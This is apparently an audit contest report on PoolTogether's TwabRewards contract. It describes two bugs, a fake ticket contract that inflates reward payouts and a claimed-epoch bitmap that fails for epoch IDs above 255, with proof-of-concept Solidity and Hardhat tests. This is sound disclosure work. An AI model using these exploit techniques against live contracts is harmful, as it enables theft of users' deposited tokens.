PoolTogether TwabRewards contest - johnnycash's results

Handle

johnnycash

Vulnerability details

Impact

It allows an attacker to retrieve all the tokens of each promotions.

Analysis

Anyone can create a new promotion using createPromotion(). An attacker can create a new malicious promotion with the following parameters:

• the address of a malicious ticket smart contract
• the token address from the targeted promotion(s)
• optionally, _numberOfEpochs equal to 0 to create this promotion for free

The only verification made on the ticket address given by _requireTicket() is that the smart contract must implement the ITicket interface.

The attacker can then call claimRewards() with its wallet address, the malicious promotion id and a single _epochId for the sake of clarity.

1. _calculateRewardAmount() is first called to get the reward amount with the following formula (_promotion.tokensPerEpoch * _ticket.getAverageBalanceBetween()) / _ticket.getAverageTotalSuppliesBetween(). The malicious ticket can return an arbitrary _averageBalance and an _averageTotalSupplies of 1, leading to an arbitrary large reward amount.
2. _promotion.token.safeTransfer(_user, _rewardsAmount) is called. It transfers the amount of tokens previously computed to the attacker.

The attacker receives the tokens of other promotions without having spent anything.

Proof of Concept

The malicious smart contract is a copy/paste of TicketHarness.sol and Ticket.solwith the following changes:

    /// @inheritdoc ITicket
    function getAverageTotalSuppliesBetween(
        uint64[] calldata _startTimes,
        uint64[] calldata _endTimes
    ) external view override returns (uint256[] memory) {
        uint256[] memory _balances = new uint256[](1);
        _balances[0] = uint256(1);
        return _balances;
    }

    /// @inheritdoc ITicket
    function getAverageBalanceBetween(
        address _user,
        uint64 _startTime,
        uint64 _endTime
    ) external view override returns (uint256) {
        return 1337;
    }

The test for HardHat is:

    describe('exploit()', async () => {
        it('this shouldnt happen', async () => {
            const promotionIdOne = 1;
            const promotionIdTwo = 2;

            await expect(createPromotion(ticket.address))
                .to.emit(twabRewards, 'PromotionCreated')
                .withArgs(promotionIdOne);
            
            let evilTicketFactory = await getContractFactory('EvilTicket');
            let evilTicket = await evilTicketFactory.deploy('EvilTicket', 'TICK', 18, wallet1.address);
            let createPromotionTimestamp = (await ethers.provider.getBlock('latest')).timestamp;
            await expect(twabRewards.connect(wallet2).createPromotion(
                evilTicket.address,
                rewardToken.address,
                tokensPerEpoch,
                createPromotionTimestamp,
                1,//epochDuration,
                0,//epochsNumber,
            )).to.emit(twabRewards, 'PromotionCreated')
              .withArgs(promotionIdTwo);

            await increaseTime(100);
            const epochIds = ['100'];
            await twabRewards.connect(wallet2).claimRewards(wallet2.address, promotionIdTwo, epochIds);
        });
    });

It results in the following error:

 1) TwabRewards
       exploit()
         this shouldnt happen:
     Error: VM Exception while processing transaction: reverted with reason string 'ERC20: transfer amount exceeds balance'
      at TwabRewardsHarness.verifyCallResult (@openzeppelin/contracts/utils/Address.sol:209)
      at TwabRewardsHarness.functionCallWithValue (@openzeppelin/contracts/utils/Address.sol:132)
      at TwabRewardsHarness.functionCall (@openzeppelin/contracts/utils/Address.sol:94)
      at TwabRewardsHarness._callOptionalReturn (@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol:92)
      at TwabRewardsHarness.safeTransfer (@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol:25)
      at TwabRewardsHarness.claimRewards (contracts/TwabRewards.sol:186)

Tools Used

Text editor.

Recommended Mitigation Steps

Maybe add a whitelist of trusted tickets?

Handle

johnnycash

Vulnerability details

Impact

An attacker can claim its reward 256 * epochDuration seconds after the timestamp at which the promotion started. The vulnerability allows him to claim a reward several times to retrieve all the tokens associated to the promotion.

Analysis

claimRewards() claim rewards for a given promotion and epoch. In order to prevent a user from claiming a reward multiple times, the mapping _claimedEpochs keeps track of claimed rewards per user:

    /// @notice Keeps track of claimed rewards per user.
    /// @dev _claimedEpochs[promotionId][user] => claimedEpochs
    /// @dev We pack epochs claimed by a user into a uint256. So we can't store more than 255 epochs.
    mapping(uint256 => mapping(address => uint256)) internal _claimedEpochs;

(The comment is wrong, epochs are packed into a uint256 which allows 256 epochs to be stored).

_epochIds is an array of uint256. For each _epochId in this array, claimRewards() checks that the reward associated to this _epochId isn't already claimed thanks to _isClaimedEpoch(). _isClaimedEpoch() checks that the bit _epochId of _claimedEpochs is unset:

(_userClaimedEpochs >> _epochId) & uint256(1) == 1;

However, if _epochId is greater than 255, _isClaimedEpoch() always returns false. It allows an attacker to claim a reward several times.

_calculateRewardAmount() just makes use of _epochId to tell whether the promotion is over.

Proof of Concept

The following test should result in a reverted transaction, however the transaction succeeds.

        it('should fail to claim rewards if one or more epochs have already been claimed', async () => {
            const promotionId = 1;

            const wallet2Amount = toWei('750');
            const wallet3Amount = toWei('250');

            await ticket.mint(wallet2.address, wallet2Amount);
            await ticket.mint(wallet3.address, wallet3Amount);

            await createPromotion(ticket.address);
            await increaseTime(epochDuration * 257);

            await expect(
                twabRewards.claimRewards(wallet2.address, promotionId, ['256', '256']),
            ).to.be.revertedWith('TwabRewards/rewards-already-claimed');
        });

Tools Used

Text editor.

Recommended Mitigation Steps

A possible fix could be to change the type of _epochId to uint8 in:

• _calculateRewardAmount()
• _updateClaimedEpoch()
• _isClaimedEpoch()

and change the type of _epochIds to uint8[] in claimRewards().